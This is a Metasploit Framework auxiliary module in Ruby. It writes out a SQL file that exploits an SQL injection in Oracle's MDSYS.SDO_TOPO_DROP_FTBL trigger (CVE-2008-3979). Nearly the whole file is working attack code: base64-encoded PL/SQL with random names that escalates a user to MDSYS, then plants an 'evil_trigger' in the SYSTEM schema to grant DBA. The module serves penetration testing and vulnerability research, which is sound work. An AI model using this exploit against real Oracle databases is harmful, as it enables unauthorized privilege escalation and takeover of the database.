##
# $Id: droptable_trigger.rb
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SQL Injection in  MDSYS.SDO_TOPO_DROP_FTBL Trigger.',
			'Description'    => %q{
					This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
					the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
					given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
			},
			'Author'         => [ 'Sh2kerr <research[ad]dsec.ru>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'CVE', '2008-3979' ],
					[ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
					[ 'URL', 'http://www.ngssoftware.com/' ],
				],
			'DisclosureDate' => 'Jan 13 2009'))

			register_options( 
				[
					OptString.new('SQL',      [ false, 'The SQL to execute.',  'GRANT DBA TO SCOTT']),
					OptString.new('USER',      [ false, 'The current user. ',  'SCOTT']),
					OptString.new('FILENAME', [ false, 'The file name.',  'msf.sql']),
					OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
				
				], self.class)
	end

	def run
		name1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

		function1 = %Q|
			CREATE OR REPLACE PROCEDURE #{name1}
			AUTHID CURRENT_USER AS
			PRAGMA AUTONOMOUS_TRANSACTION; 
			BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; 
			END;
			|


		function2 = %Q|
			CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
			PRAGMA AUTONOMOUS_TRANSACTION;
			STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
			BEGIN #{datastore['USER']}.#{name1};
			end evil_trigger;';
			BEGIN
			EXECUTE IMMEDIATE STMT;
			COMMIT;
			RETURN 1;
			END;
			|

		prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
		
		exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
		
		exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
		
		fun1  = Rex::Text.encode_base64(function1)
		fun2 = Rex::Text.encode_base64(function2)
		prp  = Rex::Text.encode_base64(prepare)
		exp1 = Rex::Text.encode_base64(exploiting1)
		exp2 = Rex::Text.encode_base64(exploiting2)
		

		sql = %Q|
			DECLARE
			#{rand1} VARCHAR2(32767);
			#{rand2} VARCHAR2(32767);
			#{rand3} VARCHAR2(32767);
			#{rand4} VARCHAR2(32767);
			#{rand5} VARCHAR2(32767);
			BEGIN
			#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
			EXECUTE IMMEDIATE #{rand1};
			EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
			#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
			EXECUTE IMMEDIATE #{rand2};
			EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
			#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
			EXECUTE IMMEDIATE #{rand3};
			#{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
			EXECUTE IMMEDIATE #{rand4};
			#{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
			EXECUTE IMMEDIATE #{rand5};
			END;
			/
			DROP FUNCTION #{name1};
			DROP FUNCTION #{name2};
			|


		print_status("Creating '#{datastore['FILENAME']}' file ...")		
		file_create(sql)


	end

end